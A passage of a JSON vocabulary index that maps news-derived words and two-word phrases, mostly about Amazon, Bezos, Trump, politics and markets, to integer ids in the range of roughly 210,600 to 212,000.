suozzi": 210614, "alleged interference": 210615, "beeler buccaneer": 210616, "file excessive": 210617, "squawker": 210618, "saw amazon": 210619, "revenue amazon": 210620, "honorary awards": 210621, "mad melancholy": 210622, "received total": 210623, "badgley": 210624, "president particularly": 210625, "promise items": 210626, "report josh": 210627, "dangerous game": 210628, "philippine": 210629, "special breaks": 210630, "navarro isn": 210631, "heard gunshots": 210632, "netflix streaming": 210633, "engineering": 210634, "folk singer": 210635, "drug abuse": 210636, "just discovering": 210637, "rewarded": 210638, "ad groups": 210639, "users relevant": 210640, "hosted town": 210641, "refreshingly": 210642, "search algorithms": 210643, "colombia venezuela": 210644, "messages asking": 210645, "enterprise decides": 210646, "amsterdammer": 210647, "special edition": 210648, "company marketplace": 210649, "trump craw": 210650, "birkenstock arizona": 210651, "shelves thestreet": 210652, "longer announcing": 210653, "incidents tweeting": 210654, "taxes": 210655, "amazon arm": 210656, "trumpfamily immigration": 210657, "country nearly": 210658, "sales campaign": 210659, "nba washington": 210660, "today mccabe": 210661, "versus college": 210662, "adherents president": 210663, "key appointees": 210664, "nice houses": 210665, "ago talkin": 210666, "reported sending": 210667, "automakers": 210668, "european income": 210669, "initializing video": 210670, "cfr 2635": 210671, "tensions economies": 210672, "archived cnbc": 210673, "policies protester": 210674, "color huseman": 210675, "future jeff": 210676, "blockbuster video": 210677, "employees according": 210678, "planting": 210679, "checkout deal": 210680, "leaf framewidth": 210681, "published including": 210682, "kampf": 210683, "uber announced": 210684, "urging cities": 210685, "plans land": 210686, "kiro tv": 210687, "sara rathner": 210688, "house microsoft": 210689, "actually ensued": 210690, "brands pecker": 210691, "gay marriage": 210692, "trump managed": 210693, "significant victory": 210694, "nonbank companies": 210695, "1300": 210696, "rightly judged": 210697, "gmail": 210698, "archenemy": 210699, "contemporary novel": 210700, "john founder": 210701, "colombia visit": 210702, "2121 trillion": 210703, "probably prefer": 210704, "foot data": 210705, "partisan office": 210706, "self promotion": 210707, "ellen bern": 210708, "look": 210709, "heist rescuer": 210710, "presidential adviser": 210711, "day site": 210712, "martinez monsivais": 210713, "bribe mike": 210714, "slams afl": 210715, "rates send": 210716, "dna cold": 210717, "showed amazon": 210718, "administering naloxone": 210719, "weekly basis": 210720, "tension ahead": 210721, "doing nearby": 210722, "page showing": 210723, "offer lessons": 210724, "shad frazier": 210725, "caveats notably": 210726, "stories benson": 210727, "called pedo": 210728, "rights white": 210729, "making risky": 210730, "owngovernment": 210731, "make loans": 210732, "holiday forecast": 210733, "trade long": 210734, "computer": 210735, "organic utm_source": 210736, "recent note": 210737, "mandatory raise": 210738, "voters approval": 210739, "government open": 210740, "stopped googling": 210741, "world yes": 210742, "wanted new": 210743, "snatched": 210744, "political considerations": 210745, "downtrend": 210746, "government broke": 210747, "luncheon": 210748, "sa l2": 210749, "divided oversight": 210750, "impasse right": 210751, "positions impact": 210752, "years children": 210753, "longevity president": 210754, "rekognition possible": 210755, "cyberx northern": 210756, "mchugh congressman": 210757, "clever idea": 210758, "involving national": 210759, "fleeces": 210760, "jewish voice": 210761, "561": 210762, "thoughtful negotiation": 210763, "unlimited talk": 210764, "listed company": 210765, "disturbing": 210766, "tctvoice madison": 210767, "earnings cuts": 210768, "person wasn": 210769, "supporting military": 210770, "irregularities including": 210771, "forcibly unwound": 210772, "sanchez amazon": 210773, "services necessary": 210774, "claims cohen": 210775, "daily business": 210776, "agency decision": 210777, "purchases continues": 210778, "shutdown talks": 210779, "home cook": 210780, "619 full16x9": 210781, "york reuters": 210782, "anger": 210783, "700 workers": 210784, "governmentof": 210785, "lasting": 210786, "world championship": 210787, "mytilineos": 210788, "dinging": 210789, "really plays": 210790, "walmart calls": 210791, "original version": 210792, "impact markets": 210793, "loved amazon": 210794, "large outflows": 210795, "dean garfield": 210796, "community activists": 210797, "jim discusses": 210798, "initiative president": 210799, "reportedly gathered": 210800, "shoppers browsing": 210801, "charging right": 210802, "pakistani girls": 210803, "bowl extolling": 210804, "daniel wilke": 210805, "break ins": 210806, "categorical sale": 210807, "real simple": 210808, "times navy": 210809, "profits industry": 210810, "manipulate proposal": 210811, "trump revoked": 210812, "situation lauren": 210813, "jon seidel": 210814, "2020 shirts": 210815, "arabia turns": 210816, "buy gun": 210817, "fraud soars": 210818, "johnny flynn": 210819, "hired lauren": 210820, "toole": 210821, "amazonhttps specials": 210822, "boesch": 210823, "fisch": 210824, "downright embarrassing": 210825, "following months": 210826, "operating expenses": 210827, "arebasically": 210828, "word": 210829, "rolls taxing": 210830, "brimble prestel": 210831, "auditor doug": 210832, "depot hike": 210833, "jag": 210834, "story janet": 210835, "cold air": 210836, "west private": 210837, "democrats big": 210838, "044 shares": 210839, "martin sorrell": 210840, "trade sent": 210841, "reemerging": 210842, "hark": 210843, "comptroller": 210844, "dozen tweets": 210845, "access employees": 210846, "comey firing": 210847, "2024": 210848, "potent publication": 210849, "started partnering": 210850, "colaneri anthony": 210851, "venezuelans": 210852, "supervisors": 210853, "progressive politicians": 210854, "trend galloway": 210855, "strategy appears": 210856, "attracting tech": 210857, "volume wise": 210858, "doesn ask": 210859, "don succeed": 210860, "torture": 210861, "trusted brand": 210862, "bu0yhealth": 210863, "extra juicy": 210864, "troubled teens": 210865, "specifically blasted": 210866, "just walked": 210867, "subjugating": 210868, "personal expenditures": 210869, "hell paedos": 210870, "tech greatness": 210871, "siemens researchandmarkets": 210872, "washington sputnik": 210873, "kos ers": 210874, "say don": 210875, "simmering fears": 210876, "course europe": 210877, "2016 given": 210878, "pharmacy entry": 210879, "3351326": 210880, "health organics": 210881, "amazon margin": 210882, "238 proposals": 210883, "ex employees": 210884, "agrees wide": 210885, "president tweet": 210886, "include funding": 210887, "nontraditional": 210888, "nytimes nbcnews": 210889, "cabinet gsi": 210890, "trump reporting": 210891, "concrete": 210892, "kohnstamm": 210893, "property provided": 210894, "annadel": 210895, "play corruption": 210896, "dove": 210897, "health stock": 210898, "downward blip": 210899, "legislative purpose": 210900, "post felt": 210901, "corleone crime": 210902, "breach": 210903, "inscrutable": 210904, "charged technology": 210905, "vindicates trump": 210906, "rauschenberg": 210907, "baffling sketches": 210908, "francisco denis": 210909, "forbes billionaires": 210910, "governments later": 210911, "bake sales": 210912, "pay nickel": 210913, "bank ray": 210914, "operate physical": 210915, "fellowship": 210916, "offering plhcf": 210917, "swinton": 210918, "movement protesters": 210919, "crock": 210920, "continued sort": 210921, "year zinke": 210922, "news organization": 210923, "student public": 210924, "week protests": 210925, "center stage": 210926, "service jim": 210927, "autocracy": 210928, "good pay": 210929, "impersonators traveled": 210930, "style weapons": 210931, "selma": 210932, "provides amazon": 210933, "strategic blow": 210934, "ballots cast": 210935, "bearish option": 210936, "critics includes": 210937, "shady dealings": 210938, "company buffett": 210939, "reasoned broker": 210940, "vera": 210941, "clarida": 210942, "various foods": 210943, "buildout": 210944, "industry chris": 210945, "partisan campaign": 210946, "2014 kellyanne": 210947, "base including": 210948, "critics say": 210949, "intentionally delayed": 210950, "buy target": 210951, "cycle including": 210952, "government primary": 210953, "ezra waldman": 210954, "require insurers": 210955, "000 arrest": 210956, "reuters 500": 210957, "lion kelly": 210958, "rebate": 210959, "stock ahead": 210960, "companies om": 210961, "duty military": 210962, "city official": 210963, "nice new": 210964, "levitan": 210965, "nice complement": 210966, "term incremental": 210967, "points pistol": 210968, "border solutions": 210969, "trent lott": 210970, "personification": 210971, "developers lawyers": 210972, "hourly": 210973, "company needs": 210974, "seeing slowdown": 210975, "expected signature": 210976, "caldwell county": 210977, "shot 2018": 210978, "hunters new": 210979, "comparison using": 210980, "loath": 210981, "general sent": 210982, "tiny sun": 210983, "nyse mrk": 210984, "concerning queens": 210985, "additional delivery": 210986, "2018 adherents": 210987, "sydney freedberg": 210988, "korea sudan": 210989, "low ahead": 210990, "rio grande": 210991, "renders": 210992, "pick just": 210993, "trump attached": 210994, "fedscoop": 210995, "multiple government": 210996, "center journalism": 210997, "quarantined": 210998, "home page": 210999, "jabbed": 211000, "freshman congresswoman": 211001, "spec congress": 211002, "transaction revenue": 211003, "say just": 211004, "trade groups": 211005, "destroy countries": 211006, "splurging": 211007, "company rapid": 211008, "undercutting pampers": 211009, "lightweight packages": 211010, "signed cause": 211011, "zany": 211012, "kingdom matt": 211013, "amzn combined": 211014, "firmer": 211015, "q4 costs": 211016, "entertained political": 211017, "mentioned technology": 211018, "morris director": 211019, "gorelick judith": 211020, "elect mike": 211021, "lightweight dannyzuker": 211022, "systemic banking": 211023, "shareholders csr": 211024, "sports telecasts": 211025, "arabia seeks": 211026, "environmentally sensitive": 211027, "ms mcdougal": 211028, "104 year": 211029, "surging": 211030, "major democratic": 211031, "aws generated": 211032, "deliberate": 211033, "arnade author": 211034, "floating anti": 211035, "leaderhip": 211036, "nafta trade": 211037, "day promotion": 211038, "furnish powerful": 211039, "skaters": 211040, "earlier accused": 211041, "began keeping": 211042, "yields fall": 211043, "orbital satellite": 211044, "just built": 211045, "conveniences": 211046, "generally unprepared": 211047, "trademark holders": 211048, "invited": 211049, "ir": 211050, "undercuts": 211051, "board failed": 211052, "advertising giants": 211053, "real beard": 211054, "contracting applications": 211055, "outrageous tweets": 211056, "2019 using": 211057, "valley authority": 211058, "private rocket": 211059, "chops": 211060, "gain commercial": 211061, "union address": 211062, "valuable concessions": 211063, "cudgel": 211064, "celebrity business": 211065, "beefs": 211066, "350": 211067, "business maggie": 211068, "google nytimes": 211069, "deals amazon": 211070, "realpolitik": 211071, "photograph snapped": 211072, "spectrum bands": 211073, "presidency success": 211074, "wealthsimple": 211075, "costs according": 211076, "little rock": 211077, "future columns": 211078, "journal fed": 211079, "leggett previews": 211080, "growth centered": 211081, "stamps marking": 211082, "instagram called": 211083, "hour long": 211084, "talks captain": 211085, "containers": 211086, "rallies wearing": 211087, "brian winter": 211088, "social cost": 211089, "newsy week": 211090, "deposit insurance": 211091, "annex": 211092, "null inc_canonical_url": 211093, "billion jump": 211094, "thatthey": 211095, "gear 2018": 211096, "immigration services": 211097, "launching public": 211098, "congresswoman carolyn": 211099, "actually believed": 211100, "vanguard tax": 211101, "inclusiveness": 211102, "database service": 211103, "dc prior": 211104, "siblings sold": 211105, "firm rekognition": 211106, "friendly democrats": 211107, "author keach": 211108, "corporate job": 211109, "lira gained": 211110, "action lawsuit": 211111, "cronk": 211112, "fissure": 211113, "probes rep": 211114, "applaud": 211115, "entered correction": 211116, "texts investigators": 211117, "companies connected": 211118, "economist": 211119, "hardware privately": 211120, "urayajvw36": 211121, "verizon controls": 211122, "buy using": 211123, "thorny nature": 211124, "select providers": 211125, "1986 told": 211126, "varma hr": 211127, "openness": 211128, "mario world": 211129, "skarsg\u00e5rd": 211130, "deadliest": 211131, "cornering": 211132, "massachusetts passes": 211133, "honor legendary": 211134, "politically infused": 211135, "played fox": 211136, "play talking": 211137, "ingredients amazingly": 211138, "pennsylvania ohio": 211139, "caucuses": 211140, "arabia decision": 211141, "b0 object": 211142, "tha god": 211143, "washington kavanaugh": 211144, "cloud stocks": 211145, "anniversary edition": 211146, "relic": 211147, "beach city": 211148, "reached plea": 211149, "condo sales": 211150, "buy kinder": 211151, "strike washington": 211152, "biggest ugliest": 211153, "jefferies report": 211154, "uptown": 211155, "body plays": 211156, "suzanne frey": 211157, "nyse tsn": 211158, "steep upward": 211159, "anschluss": 211160, "election latest": 211161, "roberts jim": 211162, "calculates amazon": 211163, "marketing markets": 211164, "lawsuit spearheaded": 211165, "point invest": 211166, "badgered gop": 211167, "currently locked": 211168, "ago holzer": 211169, "coming weeks": 211170, "sorority": 211171, "public citizen": 211172, "media politifact": 211173, "quarter legacy": 211174, "ballots": 211175, "573 million": 211176, "dave brat": 211177, "tales including": 211178, "editor usa": 211179, "echo products": 211180, "offset national": 211181, "dimension": 211182, "deploy global": 211183, "parsed": 211184, "latest financial": 211185, "jeffbezos washingtonpost": 211186, "effect venture": 211187, "unaccountable": 211188, "check amzn": 211189, "america today": 211190, "lobbying team": 211191, "overshadowed": 211192, "foot traffic": 211193, "office rudy": 211194, "private rooms": 211195, "bezos unconvincingly": 211196, "appear online": 211197, "government procurement": 211198, "horatio": 211199, "huge expansion": 211200, "bezos appeared": 211201, "substring r4ee": 211202, "independent dominican": 211203, "youtube science": 211204, "brie": 211205, "bezos pretends": 211206, "punctuated": 211207, "careless": 211208, "b3x function": 211209, "honored slain": 211210, "untapped resources": 211211, "sooraj": 211212, "user privacy": 211213, "different alaska": 211214, "changes": 211215, "trump department": 211216, "preacher": 211217, "smashed": 211218, "technical grounds": 211219, "reading designed": 211220, "playing historical": 211221, "edge oxford": 211222, "twitter based": 211223, "o4 o4": 211224, "omnichannel retail": 211225, "garbage": 211226, "dissonance": 211227, "political rallies": 211228, "does waver": 211229, "trump amerika": 211230, "amid phone": 211231, "marriage contrary": 211232, "edge providers": 211233, "big state": 211234, "gallon": 211235, "mauna loa": 211236, "launched late": 211237, "dr matt": 211238, "sellers gain": 211239, "amazon insurance": 211240, "graves": 211241, "scanned item": 211242, "colorful creatures": 211243, "new nafta": 211244, "house vetting": 211245, "twitter tweeting": 211246, "self deprecating": 211247, "diversion": 211248, "real ideas": 211249, "meeting amazon": 211250, "package loads": 211251, "mock enemies": 211252, "shopper amazon": 211253, "2017 helsinki": 211254, "new land": 211255, "wsj spacex": 211256, "trump phrases": 211257, "murdered aborted": 211258, "commission prc": 211259, "takeover unveiled": 211260, "marvin bakalar": 211261, "separate families": 211262, "voices embedded": 211263, "postal blue": 211264, "problem amazon": 211265, "google group": 211266, "sodo institution": 211267, "network conference": 211268, "token agency": 211269, "podcasty": 211270, "deal carrell": 211271, "1991": 211272, "blitzer breaking": 211273, "sequential basis": 211274, "researchandmarkets": 211275, "told sanchez": 211276, "emails obtained": 211277, "mutually agreeable": 211278, "pluto": 211279, "melamed": 211280, "orchestrating underground": 211281, "fleetwood mac": 211282, "rrainey": 211283, "issue breaking": 211284, "city prompting": 211285, "taxpayer closer": 211286, "state southern": 211287, "probably rule": 211288, "practices advocacy": 211289, "easily preventable": 211290, "actvities": 211291, "public federal": 211292, "second studio": 211293, "inactive nowadays": 211294, "briefing subscribers": 211295, "wager relatively": 211296, "reflected glow": 211297, "target undocumented": 211298, "exact particulars": 211299, "says wells": 211300, "shipping volumes": 211301, "tight boxer": 211302, "pages 183": 211303, "time whatthe": 211304, "echo additions": 211305, "isaac toups": 211306, "0001 trillion": 211307, "monogram design": 211308, "host paul": 211309, "incoming president": 211310, "necessary yearly": 211311, "thatthey want": 211312, "hits theaters": 211313, "oregon coast": 211314, "intrigue": 211315, "months national": 211316, "cities spend": 211317, "service plenty": 211318, "flake share": 211319, "hacks": 211320, "charles payne": 211321, "billinson": 211322, "priority small": 211323, "monroeville sickening": 211324, "conservancy ecolab": 211325, "military backs": 211326, "amazon beloved": 211327, "bringing amazon": 211328, "run rampant": 211329, "ban military": 211330, "multiple department": 211331, "patch anna": 211332, "paper public": 211333, "merchandise included": 211334, "jericka duncan": 211335, "pew research": 211336, "cash poor": 211337, "narrowly targeted": 211338, "legal challenge": 211339, "help develop": 211340, "sympathetic congress": 211341, "security requirements": 211342, "chairman broward": 211343, "user named": 211344, "relatively meager": 211345, "radcliffe": 211346, "aa": 211347, "outlast trump": 211348, "romney held": 211349, "security impasse": 211350, "liberties groups": 211351, "impeachment": 211352, "contracts wouldn": 211353, "shops truly": 211354, "145 000": 211355, "tm bezos": 211356, "topid topfilelocation": 211357, "world live": 211358, "house uestions": 211359, "undimmed": 211360, "shuttle trump": 211361, "susan welcome": 211362, "cargo plane": 211363, "planning bought": 211364, "atsopro rt": 211365, "driven storylines": 211366, "outsider": 211367, "person does": 211368, "crusader": 211369, "nikki": 211370, "alphabet founded": 211371, "volleys": 211372, "armour": 211373, "states lost": 211374, "chair amid": 211375, "finished products": 211376, "farrow wrote": 211377, "200 countries": 211378, "amazon growing": 211379, "service todays": 211380, "term options": 211381, "newscaster lauren": 211382, "rig": 211383, "destination fully": 211384, "launched offline": 211385, "absurdly cheap": 211386, "housing today": 211387, "acknowledgement": 211388, "week cnn": 211389, "lobbying spend": 211390, "francisco giants": 211391, "longest runways": 211392, "felt": 211393, "speaker small": 211394, "happy paul": 211395, "costs soar": 211396, "escalated trump": 211397, "axios capitol": 211398, "year saw": 211399, "employee referred": 211400, "recently overcame": 211401, "vegetable focused": 211402, "200 shares": 211403, "greenville sc": 211404, "founder cvs": 211405, "business adviser": 211406, "mueller indictment": 211407, "insider wilke": 211408, "management write": 211409, "stated reasons": 211410, "stock growth": 211411, "john early": 211412, "amid bunk": 211413, "computer vector": 211414, "retiree": 211415, "ties friends": 211416, "seeking advice": 211417, "gary busey": 211418, "foreignintelligencesurveillanceact iran": 211419, "keisha": 211420, "wp": 211421, "promoting seeking": 211422, "urges greater": 211423, "passenger market": 211424, "becker private": 211425, "offer directly": 211426, "concrete example": 211427, "automated accounts": 211428, "overall economy": 211429, "nyt reporter": 211430, "nixon donald": 211431, "stunt": 211432, "bezos highlighted": 211433, "khan powerfully": 211434, "seen little": 211435, "president mikepence": 211436, "purpose nixon": 211437, "large suffering": 211438, "created task": 211439, "year short": 211440, "clearly states": 211441, "emergency door": 211442, "interesting donation": 211443, "growth rate": 211444, "previously provided": 211445, "hit capitol": 211446, "uvu": 211447, "modeled": 211448, "mendacious": 211449, "7277761194 website": 211450, "access instead": 211451, "transatlantic partnership": 211452, "airport nungesser": 211453, "cumulative effect": 211454, "stoppage": 211455, "card additionally": 211456, "medical records": 211457, "industrialized commodities": 211458, "hasten delivery": 211459, "secure better": 211460, "bezos remove": 211461, "280 000": 211462, "core contradiction": 211463, "carlson bob": 211464, "dollars": 211465, "living legend": 211466, "doozy": 211467, "worldwide retail": 211468, "long standing": 211469, "jail charges": 211470, "senior administration": 211471, "week strongly": 211472, "supporting patients": 211473, "pettypiece president": 211474, "xr sold": 211475, "gritty": 211476, "traditionally known": 211477, "watching game": 211478, "nearest bathroom": 211479, "people paid": 211480, "manchin": 211481, "meeting suggest": 211482, "imports froome": 211483, "italia": 211484, "news amid": 211485, "alandersh judgejeanine": 211486, "wobbly": 211487, "secrets starting": 211488, "ncyha residents": 211489, "order make": 211490, "lordstown united": 211491, "inconvenient": 211492, "extreme leniency": 211493, "maga dark": 211494, "young daughters": 211495, "thedcnf": 211496, "conservative alternative": 211497, "receives lot": 211498, "bezos dreams": 211499, "story jpg": 211500, "clary afp": 211501, "studies brian": 211502, "overworking": 211503, "violence despite": 211504, "thant": 211505, "effective prices": 211506, "\u0142115": 211507, "trump formed": 211508, "posit": 211509, "american flags": 211510, "darrah contributed": 211511, "212000": 211512, "exclusive interview": 211513, "primary democrat": 211514, "million president": 211515, "slansky griffith": 211516, "solider": 211517, "security budget": 211518, "govpredict showing": 211519, "nuclear agreement": 211520, "stock tilray": 211521, "rock stars": 211522, "investigating allegations": 211523, "henhawk joni": 211524, "grrr boycottwalmart": 211525, "primarily driven": 211526, "seattle workforce": 211527, "summer hey": 211528, "acumen": 211529, "mean ozzy": 211530, "phallic images": 211531, "computing provider": 211532, "balanced ecommerce": 211533, "haven figured": 211534, "seats": 211535, "luhnow": 211536, "story claimed": 211537, "leaves amazon": 211538, "incursions moore": 211539, "relatives works": 211540, "councils": 211541, "trump lot": 211542, "ashok sharma": 211543, "town": 211544, "costs rising": 211545, "transferring billion": 211546, "trump defended": 211547, "force recommended": 211548, "vast video": 211549, "government justice": 211550, "journalists really": 211551, "story worst": 211552, "half pic": 211553, "rode bicycles": 211554, "lose monthly": 211555, "tweeted referring": 211556, "finalist": 211557, "implicate": 211558, "policing power": 211559, "business university": 211560, "counsels investigation": 211561, "alleged affinity": 211562, "jinping shares": 211563, "secured leading": 211564, "roasting facebook": 211565, "undergoing massive": 211566, "farm districts": 211567, "retail groups": 211568, "pro impeachment": 211569, "shying": 211570, "sidecar plan": 211571, "red antler": 211572, "expressing concerns": 211573, "thwart trump": 211574, "lawson": 211575, "joshtpm": 211576, "patricia continental": 211577, "amazon patient": 211578, "digital identification": 211579, "trails industrial": 211580, "sinegal investors": 211581, "corporate documents": 211582, "separated families": 211583, "security issues": 211584, "unemployment greg": 211585, "reports reuters": 211586, "considered ill": 211587, "usps getting": 211588, "lynn woolsey": 211589, "bookmakers": 211590, "days donald": 211591, "work crews": 211592, "chapter patriots": 211593, "reportedly asking": 211594, "affect thousands": 211595, "president desk": 211596, "vestager": 211597, "attempting": 211598, "buisness insider": 211599, "deficit widens": 211600, "federation cavuto": 211601, "arabia bezos": 211602, "cecilia malmstrom": 211603, "forward include": 211604, "story amid": 211605, "cancer cures": 211606, "brazilian": 211607, "visit wisconsin": 211608, "propaganda makeover": 211609, "everglades": 211610, "google sales": 211611, "government damares": 211612, "tax avoidance": 211613, "drug lord": 211614, "cause widespread": 211615, "rickjnewmanfollow yahoo": 211616, "city campus": 211617, "comparatively cheaper": 211618, "edwards paying": 211619, "customer checkouts": 211620, "industrial park": 211621, "kitteridge": 211622, "maker hasbro": 211623, "brown red": 211624, "sanders addresses": 211625, "sparked level": 211626, "scanning": 211627, "liability invested": 211628, "lunatic": 211629, "trump tension": 211630, "meantime silicon": 211631, "gamble pg": 211632, "groups want": 211633, "bad example": 211634, "possible abuses": 211635, "better relationship": 211636, "agricultural workers": 211637, "valley execs": 211638, "business trump": 211639, "insistent": 211640, "servers": 211641, "sapiens": 211642, "reduce encana": 211643, "destroyer nicole": 211644, "growing distribution": 211645, "murky forecasts": 211646, "york hq": 211647, "digitization": 211648, "nyt points": 211649, "vineeta": 211650, "called stuff": 211651, "chinese military": 211652, "vehemently oppose": 211653, "good evening": 211654, "competing delivery": 211655, "repelled": 211656, "economy acre": 211657, "5dewbfewm0": 211658, "lucia berlin": 211659, "dang utensil": 211660, "abramowitz": 211661, "wojtaszek personal": 211662, "agency money": 211663, "definitive account": 211664, "anna torv18": 211665, "tough business": 211666, "cigarettes united": 211667, "sends subpoena": 211668, "kaczynski": 211669, "extra costs": 211670, "colman complains": 211671, "months ha": 211672, "write laurel": 211673, "fein": 211674, "hour crowd": 211675, "political fantasy": 211676, "caucus held": 211677, "landmark case": 211678, "shoppers compare": 211679, "dea graduation": 211680, "time california": 211681, "texts allegedly": 211682, "yard": 211683, "unethical labor": 211684, "brand president": 211685, "biography mantel": 211686, "reuters trust": 211687, "facebook competition": 211688, "international taxes": 211689, "laptop sales": 211690, "drivel": 211691, "strategic view": 211692, "continually creating": 211693, "partner nader": 211694, "sexual encounters": 211695, "stem activities": 211696, "aj": 211697, "voter": 211698, "sanders agree": 211699, "573": 211700, "pennsylvania severe": 211701, "day break": 211702, "executive ceos": 211703, "old celebrity": 211704, "does web": 211705, "fox tv": 211706, "ceo reportedly": 211707, "a_140_": 211708, "tech pales": 211709, "ii saint": 211710, "sees slower": 211711, "turning pages": 211712, "story visit": 211713, "story brexit": 211714, "censorship encourage": 211715, "lodged attacks": 211716, "enrique ascui": 211717, "purpose transcript": 211718, "computing products": 211719, "nonpartisan heart": 211720, "hollywood united": 211721, "inflatable lantern": 211722, "egan contributing": 211723, "fatter paychecks": 211724, "surreptitious": 211725, "cortez proposed": 211726, "post opinion": 211727, "higher crime": 211728, "expanded significantly": 211729, "resembling real": 211730, "live bezos": 211731, "mturk played": 211732, "downwardly revised": 211733, "president melinda": 211734, "unrelenting traffic": 211735, "terrifying competitors": 211736, "en08u1mq6v cute": 211737, "contrast background": 211738, "david goldman": 211739, "carolina head": 211740, "offerings including": 211741, "date": 211742, "howorth taught": 211743, "military parades": 211744, "play violent": 211745, "key hung": 211746, "washington chip": 211747, "juan lozano": 211748, "misses specifically": 211749, "market rallied": 211750, "enquirer operation": 211751, "sector continues": 211752, "isolate brazil": 211753, "including dropbox": 211754, "city vestager": 211755, "hard knock": 211756, "sarsour newsweek": 211757, "caller reported": 211758, "andrew shepard": 211759, "questionable attempt": 211760, "pays workers": 211761, "ray wang": 211762, "excellent wealthcare": 211763, "miami dade": 211764, "quality balanced": 211765, "seminal horror": 211766, "distribute": 211767, "mcdaniel sen": 211768, "mails": 211769, "paloma": 211770, "seattle alex": 211771, "investigation revealing": 211772, "ppb oceania": 211773, "olley": 211774, "bay spokesperson": 211775, "cohort": 211776, "report forcing": 211777, "exporters manager": 211778, "knew demand": 211779, "immunity cope": 211780, "mcnew": 211781, "president demands": 211782, "sounds good": 211783, "garment": 211784, "pun intended": 211785, "semitism traci": 211786, "beast lachlan": 211787, "wealthy friends": 211788, "straight quarters": 211789, "fan": 211790, "agrandalliance org": 211791, "densely": 211792, "8217 coastline": 211793, "charge assigned": 211794, "jarod": 211795, "campus equal": 211796, "trapeze": 211797, "dagen dagen": 211798, "department suggested": 211799, "trust": 211800, "circe": 211801, "golovkin live": 211802, "bailout paid": 211803, "fulfilled prime": 211804, "aborted human": 211805, "2930a": 211806, "package mail": 211807, "christie stephenson": 211808, "fortified": 211809, "foxconn deal": 211810, "widespread": 211811, "madison st": 211812, "tie included": 211813, "story jobless": 211814, "bullet takes": 211815, "insurers": 211816, "us3": 211817, "fold increase": 211818, "resources software": 211819, "light rain": 211820, "viacristiano view": 211821, "payscale": 211822, "heirs": 211823, "purchase details": 211824, "publicly fan": 211825, "boston red": 211826, "george schappert": 211827, "levels just": 211828, "paychecks 2018": 211829, "leight": 211830, "nyt investigation": 211831, "high pointe": 211832, "congress declines": 211833, "fischer": 211834, "partner hakim": 211835, "launch z6": 211836, "self focused": 211837, "article exact": 211838, "publisher sulzberger": 211839, "chick": 211840, "amazon built": 211841, "creation gw": 211842, "hinterland netflix": 211843, "quote irish": 211844, "counterparts working": 211845, "speculation accuracy": 211846, "2020 justice": 211847, "rainforest does": 211848, "gundlach 2018": 211849, "related stories": 211850, "big antitrust": 211851, "international 385": 211852, "thoroughly modern": 211853, "users explicit": 211854, "npr focusses": 211855, "fine italy": 211856, "kohring": 211857, "columbia ey": 211858, "usps versus": 211859, "workhorse type": 211860, "link tv": 211861, "nikkei plunges": 211862, "company commented": 211863, "various time": 211864, "doesn justify": 211865, "globenewswire minutes": 211866, "highly inaccurate": 211867, "rainy day": 211868, "action racial": 211869, "queens new": 211870, "reach ms": 211871, "fun pop": 211872, "serv stated": 211873, "brings skills": 211874, "era america": 211875, "special contempt": 211876, "message yes": 211877, "756": 211878, "dix": 211879, "fashion group": 211880, "maker applied": 211881, "playing role": 211882, "big traditional": 211883, "ap general": 211884, "sud offers": 211885, "years whitlock": 211886, "release major": 211887, "companies added": 211888, "muckerman india": 211889, "balling": 211890, "legalized weed": 211891, "stop teach": 211892, "queens congressman": 211893, "travel traveling": 211894, "ink away": 211895, "pressing questions": 211896, "bounced": 211897, "day railroad": 211898, "technology later": 211899, "point writes": 211900, "shah global": 211901, "rainbow": 211902, "disorderly": 211903, "personally directing": 211904, "geekwire mined": 211905, "engines": 211906, "sonja": 211907, "staffers deap": 211908, "cars video": 211909, "dominant role": 211910, "time watch": 211911, "close slew": 211912, "canadian retailer": 211913, "jaclyn": 211914, "f8 r4ee": 211915, "economic engines": 211916, "dose packaging": 211917, "usps contract": 211918, "obsessive compulsive": 211919, "quaint walk": 211920, "rubi": 211921, "mcnicholas": 211922, "journalist jim": 211923, "adviser stephen": 211924, "hart research": 211925, "getting recalled": 211926, "amazon agreements": 211927, "workloads": 211928, "accurately reported": 211929, "categories": 211930, "ordinary women": 211931, "amazon increasingly": 211932, "pillows": 211933, "lawyers businesswomen": 211934, "incredible shrinking": 211935, "stifling": 211936, "roberts": 211937, "behalf including": 211938, "new conductor": 211939, "hq2 meet": 211940, "nuclear deal": 211941, "cnn pointed": 211942, "nrgi called": 211943, "mimic human": 211944, "birthday following": 211945, "bird chronicle": 211946, "supposed": 211947, "bullets chief": 211948, "800 randomly": 211949, "lang": 211950, "global community": 211951, "opposing economic": 211952, "fronts online": 211953, "mail commercial": 211954, "progress": 211955, "liberal companies": 211956, "reason donald": 211957, "social services": 211958, "governments seeking": 211959, "store visits": 211960, "buzz60 story": 211961, "general public": 211962, "baker neosho": 211963, "separately trump": 211964, "2017 cnbc": 211965, "politics productivity": 211966, "previous months": 211967, "1975": 211968, "trump jeff": 211969, "contact jess": 211970, "proactive sooner": 211971, "actually help": 211972, "blazed": 211973, "criminalize detain": 211974, "delayed reporting": 211975, "incredibly racist": 211976, "immense power": 211977, "bombshell books": 211978, "apple launch": 211979, "honest people": 211980, "ice relies": 211981, "asked corey": 211982, "close study": 211983, "metapack large": 211984, "heidi julia": 211985, "amazon plane": 211986, "75m": 211987, "actually pretty": 211988, "oof": 211989, "readers gmg": 211990, "trump liking": 211991, "frequently records": 211992, "role giving": 211993, "scantily clad": 211994, "amazon anable": 211995, "paulo cesar": 211996, "exposed golfer": 211997, "new smartphone": 211998, "trickster": 211999, "plugable bluetooth": 212000, "rekognition incorrectly": 212001, "brien comey": 212002, "computer systems": 212003, "cortez economic": 212004, "wife pressed": 212005, "tells cnn": 212006, "items": 212007, "youtube disney": 212008, "aut_column_name": 212009, "stop investigate": 212010, "trafficking sent": 212011, "round rollicking": 212012, "mean democrat": 212013, "entrepreneurs jacobs": 212014, "congresswomen": 212015, "community help": 212016, "market price": 212017, "xsmall": 212018, "life tamara": 212019, "opportunity costs": 212020, "assisted systems": 212021, "000 hardcover": 212022, "man stands": 212023, "incurred": 212024, "nearly impossible": 212025, "declined comment": 212026, "ko feels": 212027, "warner verna": 212028, "point youll": 212029, "amazon rankings": 212030, "bond trading": 212031, "break day": 212032, "trump deleted": 212033, "ap 2018": 212034, "shapes": 212035, "adm craig": 212036, "reportedly garnered": 212037, "facing increasing": 212038, "merchandise selection": 212039, "bidding cities": 212040, "doesnt make": 212041, "investigation spreads": 212042, "amazon finally": 212043, "inauthentic accounts": 212044, "emails seeking": 212045, "lunar orbit": 212046, "tagging": 212047, "cmcsa bid": 212048, "100 lobbyists": 212049, "general 